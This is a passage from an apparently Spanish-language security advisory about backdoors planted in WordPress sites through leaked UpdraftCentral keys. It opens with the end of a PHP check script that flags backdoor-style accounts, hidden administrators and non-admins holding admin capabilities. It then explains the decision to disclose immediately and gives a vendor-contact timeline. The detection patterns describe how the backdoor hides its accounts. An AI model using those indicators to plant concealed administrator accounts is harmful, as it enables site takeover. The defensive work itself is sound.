// 5. Accounts the backdoor creates, and non-admins with admin-level capabilities.
// Read users straight from the table: the second variant hides its account from get_users() and user counts.
$user_hits = 0;
$cap_key = $wpdb->get_blog_prefix() . 'capabilities';
$flagged = array();
foreach ( $wpdb->get_results( "SELECT ID, user_login, user_email, display_name FROM {$wpdb->users} WHERE user_email LIKE '%@example.org' OR user_email LIKE '%@example.com' OR display_name = 'Site Tools'" ) as $user ) {
$report( 'ALERT', "Backdoor-style account: {$user->user_login} <{$user->user_email}> \"{$user->display_name}\"" );
$flagged[ $user->ID ] = true;
$user_hits++;
}
foreach ( $wpdb->get_results( $wpdb->prepare( "SELECT u.ID, u.user_login, u.user_email, u.user_registered FROM {$wpdb->users} u JOIN {$wpdb->usermeta} m ON m.user_id = u.ID AND m.meta_key = %s WHERE u.user_registered >= '2026-10-17' AND m.meta_value LIKE %s", $cap_key, '%administrator%' ) ) as $user ) {
if ( isset( $flagged[ $user->ID ] ) ) continue;
$report( 'WARN', "Administrator created on {$user->user_registered}: {$user->user_login} <{$user->user_email}>. Make sure you know this account." );
$user_hits++;
}
foreach ( get_users( array( 'fields' => array( 'ID', 'user_login', 'user_email', 'display_name' ) ) ) as $user ) {
if ( isset( $flagged[ $user->ID ] ) ) continue;
$caps = (array) get_user_meta( $user->ID, $cap_key, true );
$extra = array_intersect( array( 'manage_options', 'install_plugins' ), array_keys( array_filter( $caps ) ) );
if ( $extra && empty( $caps['administrator'] ) ) {
$report( 'WARN', "Non-administrator {$user->user_login} has extra capabilities: " . implode( ', ', $extra ) );
$user_hits++;
}
}
if ( ! $user_hits ) $report( 'OK', 'No backdoor accounts or hidden admin-level users.' );
echo "\n";
if ( $alerts ) {
echo "RESULT: traces of the attack found. Delete the UpdraftCentral connection, remove the backdoor and check users and passwords.\n";
} elseif ( $warnings ) {
echo "RESULT: no backdoor found, but there are warnings above. If the site is connected to UpdraftCentral, delete the connection now.\n";
} else {
echo "RESULT: no traces found.\n";
}Por qué publicamos de inmediato
La divulgación responsable (responsible disclosure) consiste en dar al fabricante tiempo para corregir el problema y publicar los detalles después. Aquí, por desgracia, no hay motivo para ello. El atacante ya está difundiendo activamente puertas traseras en instalaciones de WordPress, y una corrección del fabricante no protege a los propietarios mientras el atacante tenga claves válidas. La única protección eficaz es eliminar la conexión con UpdraftCentral y revisar la web, y cualquier administrador puede hacerlo ahora mismo.
Publicarlo no ayuda al atacante. Necesita claves válidas, que ya tiene, y nada en este artículo le da una nueva forma de atacar. A los defensores, en cambio, les da un procedimiento para protegerse. Además, la puerta trasera sale de un generador que crea nombres, tokens y contraseñas distintos para cada web, lo que apunta a una herramienta pensada para un gran número de webs. Cada hora de espera da al atacante tiempo para más webs.
Comunicación con el fabricante y empresas de seguridad
- 19/10/2026: aviso a TeamUpdraft mediante el formulario de soporte premium, con registros y un análisis de la web A
- 19/10/2026: ampliación sobre los ataques a las webs B y C, la segunda muestra y una comparación del User-Agent con el panel real
- 19/10/2026: aviso a Wordfence y Patchstack para que puedan añadir detección y advertir a otros administradores
- 19/10/2026: TeamUpdraft publicó un comunicado sobre el incidente de seguridad en el que confirma el acceso a la base de datos de clientes, incluidas las claves de UpdraftCentral
- 19/10/2026: en su respuesta a nuestro aviso, TeamUpdraft confirmó que considera comprometidas las claves de UpdraftCentral y pide a todos los clientes de UpdraftCentral que desconecten y revisen cada web. Al cierre de esta edición la versión de emergencia de UpdraftPlus aún no había salido (la última es la 1.26.11 del 16/10).
- 19/10/2026: Patchstack publicó su propio análisis y confirmó las dos direcciones IP del atacante. Wordfence y Patchstack pidieron muestras.
Si ha observado un ataque similar, escríbanos a info@nethemba.com. Facilitaremos muestras y más material técnico al fabricante y a equipos de seguridad que lo soliciten.
Actualizaciones
- 19/10/2026: primera publicación.
- 19/10/2026: aviso de que el registro de UpdraftCentral solo guarda 50 eventos y revisión del registro de accesos; recomendación de no volver a conectar; pasos para webs totalmente comprometidas; precisión sobre las versiones afectadas por CVE-2026-10795.
- 19/10/2026: añadido el comunicado del fabricante, que confirma la filtración de claves desde teamupdraft.com; actualizadas las recomendaciones, la corrección y el alcance.
- 19/10/2026 (tarde): segunda variante con un administrador oculto, más muestras de la primera variante, segunda dirección IP, enlace al análisis de Patchstack, script de comprobación versión 2.
- 19/10/2026: añadida la respuesta directa del fabricante a nuestro aviso.
